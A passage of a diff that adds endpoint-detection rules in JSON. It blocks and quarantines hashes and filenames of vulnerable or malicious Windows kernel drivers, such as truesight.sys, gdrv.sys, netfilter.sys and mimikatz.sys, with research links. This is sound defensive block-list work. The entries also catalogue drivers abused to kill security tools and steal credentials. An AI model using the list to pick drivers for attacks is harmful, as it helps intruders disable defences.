+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822106Z",
+  "creation_date": "2026-03-23T11:45:31.822109Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822117Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c832d3704fa2bab90a7eff166fc143f7ad14f8e2390224ce7fff4065a7bf266",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b5e1f9d-75ef-5dbd-ab26-9fe8482ef160",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808667Z",
+  "creation_date": "2026-03-23T11:45:31.808669Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808675Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "35d7873d44f2dc85283378765ccaf73d81b9bbe97113aa10cca1a0386048f4f8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b666413-53e3-5cf4-b79c-b7ae787c28a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977054Z",
+  "creation_date": "2026-03-23T11:45:29.977056Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977061Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "filename",
+  "value": "WindowsKernelExplorer.sys",
+  "comment": "Malicious Windows Kernel Explorer Driver (aka WindowsKernelExplorer.sys) [https://news.sophos.com/en-us/2023/04/19/aukill-edr-killer-malware-abuses-process-explorer-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b712316-3bbc-547b-93d1-7031be42d17a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606350Z",
+  "creation_date": "2026-03-23T11:45:29.606351Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd1beb64cd67169d57ca4dbc602a94f74891962221bb49c09abf3339ce35bc90",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b7eb322-7599-57ef-97a1-79a86d1f9484",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620352Z",
+  "creation_date": "2026-03-23T11:45:29.620354Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620359Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9790a7b9d624b2b18768bb655dda4a05a9929633cef0b1521e79e40d7de0a05b",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6b874d3a-56d7-5fa5-b11d-0d576f6cb47e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821655Z",
+  "creation_date": "2026-03-23T11:45:31.821657Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821662Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7401e82c5bc55dabde99f6c1cb3257d0bf11c7b10fd7567d0710ee1584671c0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6ba02586-2ef0-5e57-97ee-10e6deb7621a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604843Z",
+  "creation_date": "2026-03-23T11:45:29.604845Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604850Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "27cd6ce9797c1a477879b1045751ff8cb54facacb5176f381e17db8d62ebf96e",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6bacdcf1-0d18-5e54-b32b-eab628799243",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146492Z",
+  "creation_date": "2026-03-23T11:45:31.146494Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146500Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c125ca2f5ea8abbb9ec563dd3208b3fda955b730c3c9362748900c3d59af9c8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6bc5833a-e484-5b9d-b14e-f00fa03078e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606900Z",
+  "creation_date": "2026-03-23T11:45:29.606902Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606907Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "083828dd2e4afe22f5d27b56bd7f5a60e43aea7ec8f8cb0a138be84ee639a09c",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6bcacfb9-dfa4-5206-bd03-e39bcb888d9a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812117Z",
+  "creation_date": "2026-03-23T11:45:31.812119Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812124Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a783f9ff531340c29d7c8301e2fca1a2d4580c664da4bfc5f7d08c3a6e80c15",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6bcbc73f-0a67-53cf-9f0f-e336f5c240b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967512Z",
+  "creation_date": "2026-03-23T11:45:29.967514Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967520Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d0a03a8905c4f695843bc4e9f2dd062b8fd7b0b00103236b5187ff3730750540",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6bcd326d-8c49-5b36-b361-7a4c36af7ab6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612334Z",
+  "creation_date": "2026-03-23T11:45:29.612335Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612341Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb6b0d304433bf88cc7d57728683dbb4b9833459dc33528918ead09b3907ff22",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6bcf078e-a957-5592-87b0-f77f9ef6a727",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608928Z",
+  "creation_date": "2026-03-23T11:45:29.608930Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6bcff632-d15e-5cf5-9368-546e98452cc6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472795Z",
+  "creation_date": "2026-03-23T11:45:30.472799Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472817Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d5059ec1ebd41284b9cea6ce804596e0f386c09eee25becdd3f6949e94139ba",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6bd18258-f020-54b5-bdc9-8d83baa06920",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452595Z",
+  "creation_date": "2026-03-23T11:45:30.452598Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452606Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43f88737fcdc8cd913ec2643c1841c87794f987e98b1432dd6220f769183467b",
+  "comment": "Malicious Kernel Driver (aka 1fc7aeeff3ab19004d2e53eae8160ab1.sys) [https://www.loldrivers.io/drivers/aaf8ce1a-e11b-4929-96e0-5ec0666cef2c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6bd25302-32b6-5d83-a23b-ed8b7dad738e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471563Z",
+  "creation_date": "2026-03-23T11:45:31.471567Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471577Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ebb0ca636243f26c37d5172cb9290620a733b75400c5678174be0c22fc9ec9d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6bd875fd-b393-5e79-8096-554a59ae5b80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475124Z",
+  "creation_date": "2026-03-23T11:45:31.475128Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475137Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "70eb61b8464748d65366ad8d7ef9d971c6525bf556137c2603de2283a3f6933e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6be3a5e4-dd40-5d85-9e37-f7f4c1be723f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462029Z",
+  "creation_date": "2026-03-23T11:45:30.462032Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462041Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "deade507504d385d8cae11365a2ac9b5e2773ff9b61624d75ffa882d6bb28952",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6befa781-66a1-5aa1-82c2-f7efee44f44e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967586Z",
+  "creation_date": "2026-03-23T11:45:29.967588Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967593Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c42fe45ffa9a9c36c87a7f01510a077da6340ffd86bf8509f02c6939da133c5",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6befd971-db91-5895-9d4f-6dbf25976eca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823007Z",
+  "creation_date": "2026-03-23T11:45:31.823010Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823018Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11608d588b2fa812260ab29907f63eb05f692a61c0ebdb8ef2e9983ca04016fe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6bf87be8-1d58-5d0b-8df0-9bcc347f543f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818101Z",
+  "creation_date": "2026-03-23T11:45:30.818103Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818109Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dfe57c6a4ef4d2491be325d67428698a61d9c5d2a24dbada10043d313be2c8cc",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6bf9df34-044f-5584-8334-86f78fc57637",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976535Z",
+  "creation_date": "2026-03-23T11:45:29.976537Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976542Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dcfab3c5f99c15cbb7df17c59914af551b90e0ed3c1dc040bad9927b12b67125",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6c0aeebe-57e3-5be2-8a83-0fbf2237a9c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827998Z",
+  "creation_date": "2026-03-23T11:45:31.828000Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
